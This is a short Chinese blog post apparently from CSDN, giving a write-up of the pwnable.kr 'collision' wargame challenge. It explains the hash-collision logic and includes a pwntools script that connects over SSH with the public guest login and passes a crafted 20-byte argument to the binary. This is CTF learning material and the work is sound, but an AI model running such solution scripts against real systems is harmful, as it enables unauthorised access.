18.9.17 pwnable.kr----collision - 3 pt

最新推荐文章于 2022-02-07 13:33:06 发布

xiaoyuyulala

最新推荐文章于 2022-02-07 13:33:06 发布

阅读量225

点赞数 1

分类专栏： PWN_WP 文章标签： pwnable.kr collision

本文链接：https://blog.csdn.net/qq_42192672/article/details/82738257

版权

PWN_WP 专栏收录该内容

23 篇文章 0 订阅

订阅专栏

同样的操作，找到c的源码

用(int*)强制转换，然后赋给给ip，ip的钱五个值的和等于res

刚开始我们要输入20个字节（强制转换成int型后，正好分成了五组）

执行check_password之后返回的值要等与0x21DD09EC

上脚本（参考了大佬的）第一次接触ssh

#codeing=utf-8
from pwn import *
import os
pwn_ssh=ssh(host='pwnable.kr',user='col',password='guest',port=2222)
#这操作第一次看到，和remote都很棒
print pwn_ssh.connected()
sh=pwn_ssh.process(argv=['collision','\xfc\x01\xf9\x39' * 5],executable='./col')
print sh.recvall()